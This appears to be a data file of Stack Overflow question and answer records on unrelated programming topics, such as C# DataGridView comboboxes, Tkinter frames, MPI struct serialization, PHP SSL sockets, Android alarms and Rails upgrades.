37592177	0	C# combobox in datagridview can not set Text <p>I am writing code that display datagridviewCombobox in datagridview , i made it display and bind data to this datagridviewCombobox success. But i have the problem, I can not setText to this datagridviewCombobox.</p> <p>With normal combobox, I just set cb.Text = "", or it automatically display text in index = 0, but with datagridviewCombobox , I can not find method that accept setText to this.</p> <p>Here is some information:</p> <p><a href="https://i.stack.imgur.com/8vjQq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8vjQq.png" alt="Here is list of datagridview Column"></a></p> <p>Now is code that i add row to datagridView</p> <pre><code>private void addNewBillRow() { DataGridViewTextBoxCell stt = new DataGridViewTextBoxCell(); stt.Value = dataGridView1.RowCount + 1; DataGridViewComboBoxCell cbProduct = new DataGridViewComboBoxCell(); initCellCombobox("Select * from Product", "ID", "ProductName", cbProduct, false); DataGridViewComboBoxCell cbUnit = new DataGridViewComboBoxCell(); DataGridViewTextBoxCell amount = new DataGridViewTextBoxCell(); amount.Value = numericUpDown1.Value.ToString(); DataGridViewTextBoxCell bill = new DataGridViewTextBoxCell(); bill.Value = textBox1.Text; DataGridViewTextBoxCell ck = new DataGridViewTextBoxCell(); ck.Value = textBox5.Text; DataGridViewTextBoxCell money = new DataGridViewTextBoxCell(); money.Value = textBox6.Text; DataGridViewComboBoxCell dbDoctor = new DataGridViewComboBoxCell(); initCellCombobox("Select * from Doctor", "ID", "DoctorName", dbDoctor, false); DataGridViewTextBoxCell description = new DataGridViewTextBoxCell(); description.Value = ""; DataGridViewRow row = new DataGridViewRow(); row.Cells.Add(stt); row.Cells.Add(cbProduct); row.Cells.Add(cbUnit); row.Cells.Add(amount); row.Cells.Add(bill); row.Cells.Add(ck); row.Cells.Add(money); row.Cells.Add(dbDoctor); row.Cells.Add(description); // Add the DataGridViewRow to the DataGridView: dataGridView1.Rows.Add(row); } </code></pre> <p>Then problem is when row added into datagridview, then I see that datagridviewCell didn't show default value ( index 0) , when I click into this datagridviewCell, now it dropdown data and fill the first value to datagridviewCell. I dont know data only show when click to this datagridviewCell .</p> <p>Here is the method I fill data to datagridviewComboBox:</p> <pre><code>private void initCellCombobox(String queryString, String key, String value, DataGridViewComboBoxCell combobox, bool isPutAll) { try { //Console.WriteLine(GlobalVar.Instance.ConnectionString); using (SqlConnection connection = new SqlConnection(GlobalVar.Instance.ConnectionString)) { SqlCommand command = new SqlCommand(queryString, connection); connection.Open(); SqlDataReader reader = command.ExecuteReader(); Dictionary&lt;string, string&gt; mapKeyValue = new Dictionary&lt;string, string&gt;(); if (!reader.HasRows) { combobox.Value = "Chưa có dữ liệu!"; return; } else { } if (isPutAll) { mapKeyValue.Add("-1", "Tất cả"); } while (reader.Read()) { mapKeyValue.Add(reader[key].ToString(), reader[value].ToString()); } combobox.DisplayMember = "value"; combobox.ValueMember = "key"; combobox.DataSource = new BindingSource(mapKeyValue, null); connection.Close(); } } catch (Exception ex) { //Console.WriteLine(ex.Message); MessageBox.Show("Không thể kết nối cơ sở dữ liệu: " + ex.Message); } } </code></pre> <p>Here is the picture when row just added to datagridview</p> <p><a href="https://i.stack.imgur.com/U8G8u.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/U8G8u.png" alt="enter image description here"></a></p> <p>When I click in to this datagridviewcombobox, It show the index 0 and show dropdown</p> <p><a href="https://i.stack.imgur.com/avvC7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/avvC7.png" alt="enter image description here"></a></p>
38203517	0	 <p>Regarding your second question: Go to the menu item on the top called "IntelliJ Idea" and under that you'll find a "Preferences item"</p>
21216344	0	 <p>following code snippets may help you:</p> <pre><code>(from c in db.tbl1 join d in db.tbl3 on c.tbl1ID equals d.tbl1ID join e in db.tbl2 on d.tbl2ID equals e.tbl2ID select new { c.tbl1ID, d.tbl2ID, e.tbl3ID, c.tbl1Name, d.tbl2Name, e.tbl3Name}).ToList(); </code></pre>
20691705	0	 <p>If you use the <a href="http://view.jquerymobile.com/master/demos/filterable/" rel="nofollow">filterable widget</a> on a table, the widget will filter <strong>table rows</strong>, so to make it work with any kind of table cell content (text, input) you should use the <code>**data-filtertext**</code>-attribute and set the text to be queried on the table row like so:</p> <pre><code>&lt;tr data-filtertext="foo_from_cell_1, bar_from_cell_2, baz_from_cell_3..."&gt; &lt;td&gt;foo&lt;/td&gt; &lt;td&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;bar&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" value="baz"/&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre> <p>This way it will work. </p> <p>Also check the example provided in the JQM <a href="http://view.jquerymobile.com/master/demos/filterable/" rel="nofollow">demos</a></p>
14167630	0	 <p>I ended up establishing a totally opaque div with top:0 left:0 and visible bottom and right borders. I then assign width and height to it as my main object moves.</p>
9279278	0	 <p>It looks like you need to add script by calling <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.scriptmanager.registerstartupscript.aspx" rel="nofollow">ScriptManager.RegisterStartupScript</a> method to show elements on page:</p> <pre><code>ScriptManager.RegisterStartupScript(this, this.GetType(), this.ID, "$('#back_drop, #login_container').css('display', 'block');", true); </code></pre>
7715530	0	 <p>the quickest way (if the strings do not change much!):</p> <p><a href="http://www.dereuromark.de/2010/06/24/static-enums-or-semihardcoded-attributes/" rel="nofollow">http://www.dereuromark.de/2010/06/24/static-enums-or-semihardcoded-attributes/</a></p> <pre><code>echo Classroom::levels($classroom['Classroom']['level']); </code></pre> <p>in the view - whereever you need it</p> <p>it also uses less resources than any other approach (therefor is the fastest).</p>
5791568	0	 <p>A recursive solution:</p> <pre><code>public void addToEnd(Object data){ if (next==null) next = new Node(data, null); else next.addToEnd(data); } </code></pre>
36719299	0	CSS icon using :before keep text from wrapping under <p>I have an icon placed using <code>:before</code> and the text following it sometimes wraps to two or three lines. When it wraps the text goes under the icon. </p> <p>I am looking for CSS help to keep the text from wrapping under the icon.</p> <p>Here is an image showing what I am referring to:<br> <a href="https://i.stack.imgur.com/6fYff.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6fYff.png" alt="wrap"></a></p> <p>Current CSS:</p> <pre><code>a[href $='.pdf']:before, a[href $='.PDF']:before, a[href $='.pdf#']:before, a[href $='.PDF#']:before, a[href $='.pdf?']:before, a[href $='.PDF?']:before { content: "\f1c1"; font-family: 'FontAwesome'; color: #999; display: inline-block; margin: 0px 10px 0 0; font-size: 24px; vertical-align: middle; } .form-title:before { float: left; } </code></pre> <p>Here is a fiddle with my code: <a href="https://jsfiddle.net/west4me/x0yyfxmm/" rel="nofollow noreferrer">fiddle</a></p>
8795975	0	 <p>Ensure you implement this in the header file: <code>GKPeerPickerControllerDelegate</code> </p>
24650039	0	MPI sending an array of 128bits integer <p>I have a struct like: </p> <pre><code>union W128_T { uint32_t u[4]; uint64_t u64[2]; }; struct SFMT_T { /** the 128-bit internal state array */ w128_t state[SFMT_N]; /** index counter to the 32-bit internal state array */ int idx; }; </code></pre> <p>It is an implementation for pseudo-random generator, mersenne twister. I want to send an SFM_T element to all workers. I have two options. </p> <ol> <li>Using MPI_Derived type: I create an MPI_Derived type for state array, using an MPI_Type for 128 bits. I searched and i found this page for MPI_Type: <a href="http://www-01.ibm.com/support/knowledgecenter/SSFK3V_1.3.0/com.ibm.cluster.pe.v1r3.pe400.doc/am106_pmd.htm?lang=en" rel="nofollow">IBM Knowledge Center-MPI Data Types</a>. There are types for 128 floating points. Can i use it for my data type.</li> <li><p>Using a char array to store state array: I plan to create a char array of size <code>[SFMT_N * 16 + 2]</code> because 128bit variable is equal to 16 chars and <code>+2</code> indicates the <code>idx</code> variable. I am not sure how to change state array into a character array. I wrote some code for this serialization: </p> <pre><code>typedef struct SFMT_T sfmt_t; char * serialize(sfmt_t* sfmt) { char buffer[SFMT_N*16+sizeof(int16_t)]; int16_t tmp_size = 0 ; int8_t offset = 0; int i=0,j; tmp_size =(4*sizeof(uint32_t)); for(i=0;i&lt;SFMT_N;i++) { memcpy(buffer+offset,&amp;sfmt-&gt;state[i].u, tmp_size); for(j=offset;j&lt;offset+tmp_size;j++) { printf("buffer %c \n",buffer[j]); } offset += tmp_size; } memcpy(buffer+offset,&amp;sfmt-&gt;idx,sizeof(uint16_t)); return buffer;} void deserialize(char* buffer, sfmt_t* sfmt) { int16_t tmp_size,start,i ; for(i=0;i&lt;SFMT_N;i++) { start = sizeof(uint32_t)*4*i; tmp_size =(4*sizeof(uint32_t)); memcpy(sfmt-&gt;state[i].u,&amp;buffer[start], tmp_size);} for(i=0;i&lt;SFMT_N;i++) { printf("%d %d %d %d \n",sfmt-&gt;state[i].u[0],sfmt-&gt;state[i].u[1],sfmt-&gt;state[i].u[2],sfmt-&gt;state[i].u[3]); } } </code></pre> <p>It doesn't give exactly what i want. What am i missing? </p></li> </ol> <p>Also, i want to know which way can be more efficient for a distributed system. </p>
11312129	0	Getting a Date with "ShortenedMonth/dd" format <p>Is there a way I can get a date by the format "MM/dd" but instead of the month being an <code>int</code>, it is a shortened <code>string</code> like "Jan 30"?</p> <p>Currently I did this with Java by a simple <code>Switch Case</code>, but I want to know if this is already contained in a <code>DateFormat</code> or something similar.</p> <p>Anyway I leave here my current code. I used <code>R.string</code> because my application has multi-language support.</p> <pre><code>public void setShortMonth(){ final Calendar calendar = Calendar.getInstance(); int Month = calendar.get(Calendar.MONTH); String ShortMonth = " "; switch (Month){ case 0: ShortMonth = getString(R.string.Jan); break; case 1: ShortMonth = getString(R.string.Fev); break; case 2: ShortMonth = getString(R.string.Mar); break; case 3: ShortMonth = getString(R.string.Apr); break; case 4: ShortMonth = getString(R.string.May); break; case 5: ShortMonth = getString(R.string.Jun); break; case 6: ShortMonth = getString(R.string.Jul); break; case 7: ShortMonth = getString(R.string.Aug); break; case 8: ShortMonth = getString(R.string.Sep); break; case 9: ShortMonth = getString(R.string.Oct); break; case 10: ShortMonth = getString(R.string.Nov); break; case 11: ShortMonth = getString(R.string.Dec); break; } TextView datetxt = (TextView) findViewById(R.id.home_date); datetxt.setText(ShortMonth + " " + Day); } </code></pre>
23142153	0	How to use @Html.PartialView("XXX") in Jquery function? <p>I have a function that updates a div with raw HTML. However, the raw HTML is in another .CSHTML document.</p> <p>My function is:</p> <pre><code>function Demo(){ $('#ContainerDiv').html('@Html.Partial("MyPartialView")'); } </code></pre> <p>For some reason, whenever I include my partial view within the function, my console shows that it is unable to locate the document.</p> <p>As soon as I remove the @Html.PartialView("MyPartialView") and include it in the body of the document, it loads fine.</p> <p>Any ideas on why this would not be working, or a better way of doing this?</p> <p>Thanks, Mark</p>
33036578	1	Not sure what is wrong with my code (Tkinter BEGINNER) <p>I'm making a pretty simple GUI and each frame should have a Continue and Exit button. I need the continue button to open a new frame with writing, widgets...etc on it. </p> <p>The first frame (<code>frame1</code>) works when I call the <code>frame_2</code> function.<br> But from this I do not know how to open a <code>frame_3</code> and destroy <code>frame 2</code> properly.</p> <p>Here is the code so far:</p> <pre><code>import tkinter from tkinter.constants import * tk = tkinter.Tk() def frame_2(): #ENTERING AGE frame1.grid_forget() frame1.destroy() frame2 = tkinter.Frame(tk, borderwidth=2,) frame2.pack(fill=BOTH,expand=1,pady=50,padx=80) need_info = tkinter.Label(frame2, text="I need some information first...") need_info.grid(row=0, column=0) #displays text at top of frame enter_age = tkinter.Label(frame2, text="Please enter your age!") enter_age.grid(row=2, column=0) #displays second line of text age = tkinter.Entry(frame2, width=10) age.grid(row=3, column=0) nextpage = tkinter.Button(frame2,text="Continue",command=frame2.destroy) nextpage.grid(row=10, column=0) exitapp = tkinter.Button(frame2,text="Exit",command=tk.destroy) #exits programme exitapp.grid(row=12, column=0) def frame_three(): #ENTERING EDUCATION frame_2().grid.forget() frame_2().destroy() frame3 = tkinter.Frame(tk, borderwidth=2) frame3.pack(fill=BOTH,expand=1,pady=50,padx=80) def frame_3(): #ENTERING EDUCATION frame_2().grid.forget() frame_2().destroy() frame3 = tkinter.Frame(tk, borderwidth=2) frame3.pack(fill=BOTH,expand=1,pady=50,padx=80) age_confirm = tkinter.Label(frame3, text="You entered 38!") age_confirm.grid(row=0, column=0) nextpage.grid(row=10, column=0) exitapp = tkinter.Button(frame2,text="Exit",command=tk.destroy) #exits programme exitapp.grid(row=12, column=0) frame1 = tkinter.Frame(tk, borderwidth=2) #WELCOME PAGE, a.k.a The first frame frame1.pack(fill=BOTH,expand=1,pady=50,padx=80) label = tkinter.Label(frame1, text="Welcome to NAME GAME! I'm going to guess who you are...") label.grid(row=0, column=0) #displays text at top of frame nextpage = tkinter.Button(frame1,text="Continue",command=frame_2) def frame_2(): #ENTERING AGE frame1.grid_forget() frame1.destroy() frame2 = tkinter.Frame(tk, borderwidth=2,) frame2.pack(fill=BOTH,expand=1,pady=50,padx=80) need_info = tkinter.Label(frame2, text="I need some information first...") need_info.grid(row=0, column=0) #displays text at top of frame enter_age = tkinter.Label(frame2, text="Please enter your age!") enter_age.grid(row=2, column=0) #displays second line of text age = tkinter.Entry(frame2, width=10) age.grid(row=3, column=0) nextpage = tkinter.Button(frame2,text="Continue",command=frame_3) nextpage.grid(row=10, column=0) exitapp = tkinter.Button(frame2,text="Exit",command=tk.destroy) #exits programme exitapp.grid(row=12, column=0) nextpage.grid(row=2, column=0) exitapp = tkinter.Button(frame1,text="Exit",command=tk.destroy) #exits programme exitapp.grid(row=4, column=0) tk.mainloop() </code></pre>
36912061	0	How to set filename of excel file to export from html table <p>I try to export datatable html to excel file but right now, i don't know how to set file name in savefiledialog popup</p> <p>here my code</p> <pre><code> $('#exportTable').click(function () { var startDate = $('#startDate').val(); var endDate = $('#endDate').val(); searchReportWithDate(startDate, endDate); setTimeout(function () { var rowCount = $('#tblExportData &gt;tbody &gt;tr').length; alert(rowCount); if (rowCount &gt; 0) { var uri = 'data:application/vnd.ms-excel;base64,' , template = '&lt;html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"&gt;&lt;head&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;x:ExcelWorkbook&gt;&lt;x:ExcelWorksheets&gt;&lt;x:ExcelWorksheet&gt;&lt;x:Name&gt;{worksheet}&lt;/x:Name&gt;&lt;x:WorksheetOptions&gt;&lt;x:DisplayGridlines/&gt;&lt;/x:WorksheetOptions&gt;&lt;/x:ExcelWorksheet&gt;&lt;/x:ExcelWorksheets&gt;&lt;/x:ExcelWorkbook&gt;&lt;/xml&gt;&lt;![endif]--&gt;&lt;meta http-equiv="content-type" content="text/plain; charset=UTF-8"/&gt;&lt;/head&gt;&lt;body&gt;&lt;table&gt;{table}&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;' , base64 = function(s) { return window.btoa(unescape(encodeURIComponent(s))) } , format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function (table, name) { table = document.getElementById("tblExportData") var ctx = {worksheet: name || 'Sheet1', table: table.innerHTML} window.location.href = uri + base64(format(template, ctx)) }() } }, 5000); }); </code></pre>
35053146	0	 Helicon Ape by Helicon Tech provides support for Apache .htaccess and .htpasswd configuration files in Microsoft IIS.
21441777	0	JS. How to get list of div's with similar class name? <p>I have html, like this:</p> <pre><code>&lt;div id="c0" class="bz_comment bz_first_comment"&gt;&lt;/div&gt; &lt;div id="c1" class="bz_comment"&gt;&lt;/div&gt; &lt;div id="c2" class="bz_comment"&gt;&lt;/div&gt; &lt;div class="bz_add_comment"&gt;&lt;/div&gt; </code></pre> <p>How can I get array of all the div's (3 div in example) by class that's starts with "bz_comment[anysymbols]" in JavaScript (not using JQuery)? </p> <p>Or can i get array of div's by id that's starts with "c[numeric_value]"?</p> <pre><code>[numeric_value_can_consist_of_some_numbers] </code></pre> <p>It's the similar question like stackoverflow.com/questions/1225611/ (but i don't have reputation to ask in that question). Thanks in advance.</p>
7405118	0	 <pre><code> with(Math) { var exp = floor(log(number)/log(10)) - 1; exp = max(exp,0); var n = number/pow(10,exp); var n2 = ceil(n/5) * 5; var result = n2 * pow(10,exp); } </code></pre> <p><a href="http://jsfiddle.net/NvvGf/4/" rel="nofollow">http://jsfiddle.net/NvvGf/4/</a></p> <p>Caveat: only works for the natural numbers.</p>
39687720	0	SSL not work in PHP5.6 on Windows <p>I tried:</p> <pre><code>$host = 'ssl://fbcdn-sphotos-c-a.akamaihd.net'; $port = 443; $fp = fsockopen($host, $port, $errno, $errstr, 30); if (!$fp) { var_dump($errno, $errstr); } else { echo 'Connected'; } </code></pre> <p>And:</p> <pre><code>$host = 'ssl://fbcdn-sphotos-c-a.akamaihd.net:443'; $fp = stream_socket_client($host, $errno, $errstr, 30); if (!$fp) { var_dump($errno, $errstr); } else { echo 'Connected'; } </code></pre> <p>But both returns:</p> <pre><code>int(0) string(0) "" </code></pre> <p>As if I had not been able to connect.</p> <ul> <li>I tried PHP5.6 for x86 and PHP5.6 for x64</li> <li>I used lastet release in <a href="http://windows.php.net/download#php-5.6" rel="nofollow">http://windows.php.net/download#php-5.6</a></li> <li>In Linux it seems to work normally.</li> <li>This only occurs with some fields, others work well.</li> <li>PHP with CURL and SSL work fine in PHP5.6</li> </ul> <p><strong>Note:</strong> Strangely in php5.4 works perfectly.</p> <p>Is a bug in this version of PHP?</p> <h2>Details:</h2> <p>PHP 5.4.12</p> <blockquote> <p>Registered Stream Socket Transports: tcp, udp, ssl, sslv3, sslv2, tls</p> <p>Compiler: MSVC9 (Visual C++ 2008)</p> <p>Architecture: x64</p> <p>Configure Command (compile):</p> <pre><code>cscript /nologo configure.js "--enable-embed" "--enable-cli-win32" "--enable-apache2-2handler" "--enable-apache2-2filter" "--enable-apache2-4handler" "--with-mysql=shared" "--with-mysqli=shared" "--enable-pdo" "--with-pdo-mysql=shared" "--with-pgsql=shared" "--with-pdo-pgsql=shared" "--with-mcrypt=static" "--with-openssl=shared" "--enable-sockets=shared" "--enable-intl=shared" "--enable-mbstring=shared" "--enable-mbregex" "--enable-exif=shared" "--with-xmlrpc=shared" "--with-xsl=shared" "--enable-solr=shared" "--enable-solr-debug" "--with-curl=shared" "--with-tidy=shared" "--with-bz2=shared" "--enable-rar=shared" "--enable-fileinfo=shared" "--with-gettext=shared" "--with-mhash" "--with-ldap=shared" "--enable-com-dotnet=shared" "--enable-soap=shared" "--enable-shmop=shared" "--with-gmp=shared" "--with-interbase=shared" "--with-pdo-firebird=shared" "--with-sqlite3=shared" "--with-pdo-sqlite=shared" "--with-pdo-odbc=shared" "--enable-dbase=shared" "--with-pdo-oci=C:\php-sdk\oracle\x64\instantclient_10_2\sdk,shared" "--with-oci8=C:\php-sdk\oracle\x64\instantclient_10_2\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\x64\instantclient_11_2\sdk,shared" "--with-sybase-ct=shared" "--enable-couchdb=shared" "--with-couchbase=shared" "--enable-mongo=shared" "--with-imap=shared" "--enable-mailparse=shared" "--enable-pop3=shared" "--with-smtp=shared" "--with-oauth=shared" "--with-ssh2=shared" "--with-snmp=shared" "--enable-uploadprogress=shared" "--enable-http=shared" "--with-imagick=shared" "--enable-discount=shared" "--with-pdflib=shared" "--with-haru=shared" "--with-excel=shared" "--with-enchant=shared" "--enable-printer=shared" "--with-geoip=shared" "--enable-timezonedb=shared" "--with-xdebug=shared" "--enable-suhosin=shared" "--disable-optimizer-plus" "--enable-pthreads=shared" "--enable-pthreads=shared" "--enable-win32service=shared" "--with-memcached=shared" "--enable-memcache=shared" "--enable-apc=shared" "--enable-apc-srwlock-native" "--enable-apc-debug" "--enable-xcache=shared" "--enable-xcache-optimizer" "--enable-xcache-coverager" "--enable-eaccelerator=shared" "--enable-varnish=shared" "--enable-ffmpeg=shared" "--disable-security-flags" </code></pre> <p><strong>openssl</strong> <br></p> <p>OpenSSL support: enabled</p> <p>OpenSSL Library Version: OpenSSL 1.0.1c 10 May 2012</p> <p>OpenSSL Header Version: OpenSSL 1.0.1e 11 Feb 2013</p> </blockquote> <p>PHP 5.6.26</p> <blockquote> <p>Registered Stream Socket Transports: tcp, udp, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2</p> <p>Compiler: MSVC11 (Visual C++ 2012)</p> <p>Architecture: x64</p> <p>Configure Command (compile):</p> <pre><code>cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-pack" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=c:\php-sdk\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-sdk\oracle\x64\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo" </code></pre> <p><strong>openssl</strong> <br></p> <p>OpenSSL support: enabled</p> <p>OpenSSL Library Version: OpenSSL 1.0.1c 10 May 2012</p> <p>OpenSSL Header Version: OpenSSL 1.0.1t 3 May 2016</p> <p>Openssl default config: c:/openssl-1.0.1c-X64/ssl/openssl.cnf</p> <p>openssl.cafile: no value</p> <p>openssl.capath: no value</p> </blockquote>
8674210	0	 <p>One thing you can do is to use the interface (i.e. the header files) and provide an implementation of your own, at least for those functions you care about. To switch between both versions essentially amounts to linking with different libraries: yours for testing, theirs for the real implementation.</p> <p>There are a few issues with that which can be addressed e.g. by only retaining the public interface and changing the private interface (on this case compilation needs to be directed at the different declarations, e.g. using different search pathes for the headers):</p> <ul> <li>often the stubbed version wants to store different data</li> <li>some object may need to construct private subobjects in specific ways</li> <li>inline function may call other functions you don't really want to implement</li> </ul>
16854165	0	 <p>Probably a more elegant way of doing this but you could loop the array and convert each value to a string by adding it to a blank string <code>+=""</code>. Check <a href="http://stackoverflow.com/questions/971039/javascript-string-and-number-conversion">here</a> for javascript type conversions </p> <pre><code>var arr = [1, 2, 3, 4]; for(var i=0;i&lt;arr.length;i++) arr[i]+=""; alert(typeof arr[0]) //String </code></pre>
9303307	0	Upgrading application to Ruby 1.8.7, Rails 3 and getting undefined method `config_accessor' for SiteSweeper:Class <p>I'm struggling through upgrading an app to Rails 3 (Ruby 1.8.7), and my current roadblock is when running 'rake test --trace' i get the following:</p> <pre><code>** Invoke test (first_time) ** Execute test ** Invoke test:units (first_time) ** Invoke test:prepare (first_time) ** Invoke db:test:prepare (first_time) ** Invoke db:abort_if_pending_migrations (first_time) ** Invoke environment (first_time) ** Execute environment ** Execute db:abort_if_pending_migrations ** Invoke test:functionals (first_time) ** Invoke test:prepare ** Execute test:functionals DEPRECATION WARNING: "Rails.root/test/mocks/test" won't be added automatically to load paths anymore in future releases. (called from &lt;APP PATH&gt;/config/application.rb:17) C:/Ruby187/lib/ruby/gems/1.8/gems/actionpack-3.0.11/lib/action_controller/caching/pages.rb:47: undefined method `config_accessor' for SiteSweeper:Class (NoMethodError) from C:/Ruby187/lib/ruby/gems/1.8/gems/activesupport-3.0.11/lib/active_support/concern.rb:52:in `class_eval' from C:/Ruby187/lib/ruby/gems/1.8/gems/activesupport-3.0.11/lib/active_support/concern.rb:52:in `append_features' from &lt;APP PATH&gt;/app/sweepers/site_sweeper.rb:4:in `include' from &lt;APP PATH&gt;/app/sweepers/site_sweeper.rb:4 from C:/Ruby187/lib/ruby/gems/1.8/gems/activesupport-3.0.11/lib/active_support/dependencies.rb:239:in `require' from C:/Ruby187/lib/ruby/gems/1.8/gems/activesupport-3.0.11/lib/active_support/dependencies.rb:239:in `require' ... </code></pre> <p>The error here points to code that is actually inside the Rails 3.0.11 gem (action_controller/caching/pages.rb:47) and i can't figure out why that would cause problems or why i can't find any others having this problem. I'm also looking for the docs for ActionController::Caching to see if 'config_accessor' would have gone away..?</p> <p>Any assistance is much appreciated.</p>
4333894	0	Read td values using prototype <p>I would like to read the values of HTML td using prototype. For example, say you have a table as follows</p> <pre><code>&lt;table id="myTable"&gt; &lt;tr&gt; &lt;td&gt;apple&lt;/td&gt; &lt;td&gt;orange&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;car&lt;/td&gt; &lt;td&gt;bus&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>I would like to read the values - apple, orange, car and bus alone. I am unable to find a way to do it? Any help would be of great help.</p> <p>Thanks, J</p>
7118415	0	json not loading in iphone device while using sencha touch and phonegap <p>I'm trying to load a json into my view. Im using phonegap with sencha touch and when I load the app to my phone the json does not load at all.. It works fine in the browser and in the simulator. I would really appreciate some help from the experts</p> <p>Here is the main code that im trying:</p> <p>the store:</p> <p>App.stores.freebees = new Ext.data.Store({ model: 'Freebee', autoLoad: true, proxy: { type: 'ajax', url: 'fixtures/freebees', reader: { type: 'json' } } });</p> <p>the list view:</p> <p>App.views.FreebeesList = Ext.extend(Ext.List, { id: 'indexlist', layout: 'fit', store: App.stores.freebees, itemTpl: '{companyName}, {title}, {address}',</p> <pre><code>listeners: { 'itemtap': function(list, index, item, obj) { Ext.dispatch({ controller: 'Freebee', action: 'showDetails', id: list.getRecord(item).data.id, lat: list.getRecord(item).data.lat, longitude: list.getRecord(item).data.longitude, companyName: list.getRecord(item).data.companyName, address: list.getRecord(item).data.address, }); } }, initComponent: function() { App.views.FreebeesList.superclass.initComponent.apply(this, arguments); } </code></pre> <p>}); Ext.reg('App.views.FreebeesList', App.views.FreebeesList);</p> <p>the json:</p> <p>[ { "id": 1, "title": "Freebee 1", "companyName": "Företaget AB 1", "address": "Ekuddsvägen 1 Nacka 131 38 Sweden", "lat": 59.3058, "longitude": 18.1463 }, { "id": 2, "title": "Freebee 2", "companyName": "Företaget AB 2", "address": "Ekuddsvägen 2 Nacka 131 38 Sweden", "lat": 59.305, "longitude": 18.1478 } ]</p>
20831969	0	 <p>On Ruby <strong>.respond_to?</strong> is a test method. One of the things that does is takes a symbol and returns a <strong>true</strong> if the object can receive a method, a <strong>false</strong> if it doesn't.<br> For example,:<br> <strong>[1, 2, 3].respond_to?(:push)</strong> would return <strong>true</strong>, since you can call <strong>.push</strong> on an array object. However<br> <strong>[1, 2, 3].respond_to?(:to_sym)</strong> would return <strong>false</strong>, since you can't turn an array into a symbol </p> <p>Links:<br> a] Ruby is oriented to what methods call answers to, rather than what type an object is. <a href="http://www.codecademy.com/courses/ruby-beginner-en-1o8Mb/2/3?curriculum_id=5059f8619189a5000201fbcb" rel="nofollow">respond_to?</a> </p>
7731904	0	 <p>The Hough transform gives you equations of lines (ie infinitely long lines not segments).</p> <p>Once you have these equations you could test how <a href="http://paulbourke.net/geometry/pointline/" rel="nofollow">far each point is from a line</a> and decide whether it is on the line or not (given some maximum distance).</p> <p>When you add new points you can do the same test to see if they are sufficiently close to any of the existing lines.</p>
20526267	0	 <p>You're returning a pointer to a local array, which is destroyed when the function returns. The best solution is to return a string object:</p> <pre><code>std::string read_word() { std::string input; std::cin &gt;&gt; input; return input; } </code></pre> <p>Note that I also changed the function name to match what it does. If you actually want a line, then you want</p> <pre><code>std::string read_line() { std::string input; std::get_line(std::cin, input); return input; } </code></pre> <p>If you really think you want to return a pointer, then think again. You almost certainly don't.</p> <p>If you still really think you do, then you could return a pointer to a static variable, which lasts as long as the program:</p> <pre><code>// Danger: the returned pointer is only valid until the next call. // Danger: do not call from multiple threads. // Danger: any line longer than 255 characters will cause dreadful calamity. char const * read_line() { static char input[256]; std::cin.getline(input); return input; } </code></pre> <p>or dynamically allocate an array, and hope the caller remembers to delete it:</p> <pre><code>// Danger: the returned pointer must be deleted (with `delete[]`) after use // Danger: any line longer than 255 characters will cause dreadful calamity. char const * read_line() { char * input = new char[256]; std::cin.getline(input); return input; } </code></pre>
38632620	0	Yum and RPM show that the number of installed packages is different <pre><code>[root@study ~]# rpm -qa | wc -l 777 [root@study ~]# yum list installed | wc -l 1054 </code></pre> <p>i want to know why different,shoud i get correct number of installed packages?</p>
39506983	0	How can I create a reminder using AlarmManager? <p>I tried to make a project that will show <code>Notification</code> on particular time and even the app is not open it will show it. But it is showing message at particular time and also after the given time. Moreover the <code>Notification</code> does not work when the app is closed.</p> <p>How can I stop it permanently after the given time and also run in the background ?</p> <p>code is given below.</p> <pre><code>private PendingIntent pendingIntent; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Calendar calendar = Calendar.getInstance(); calendar.set(Calendar.MONTH, Calendar.SEPTEMBER); //calendar.set(Calendar.YEAR, 2016); calendar.set(Calendar.DAY_OF_MONTH, 15); calendar.set(Calendar.HOUR_OF_DAY, 14); calendar.set(Calendar.MINUTE, 24); calendar.set(Calendar.SECOND, 05); //calendar.set(Calendar.AM_PM,Calendar.PM); Intent myIntent = new Intent(MainActivity.this, AlarmReceiver.class); pendingIntent = PendingIntent.getBroadcast(MainActivity.this, 0, myIntent,0); AlarmManager alarmManager = (AlarmManager)getSystemService(ALARM_SERVICE); alarmManager.set(AlarmManager.RTC, calendar.getTimeInMillis(), pendingIntent); Intent into = new Intent(this, AlarmReceiver.class); PendingIntent ppendingIntent = PendingIntent.getBroadcast(getApplicationContext(), 1253, into, 0); AlarmManager alarmManag = (AlarmManager) getSystemService(ALARM_SERVICE); alarmManag.cancel(ppendingIntent); ppendingIntent.(); } @Override public void onReceive(Context context, Intent intent) { Intent service1 = new Intent(context, MyAlarmService.class); context.startService(service1); } </code></pre> <p>Receiver has been added to manifest.</p>
17554915	0	Elisp equivalent of Clojure's time? <p>Here's Clojure's doc:</p> <pre><code>clojure.core/time ([expr]) Macro Evaluates expr and prints the time it took. Returns the value of expr. </code></pre> <p>Is there some (semi-) standard way to do this in Emacs lisp?</p>
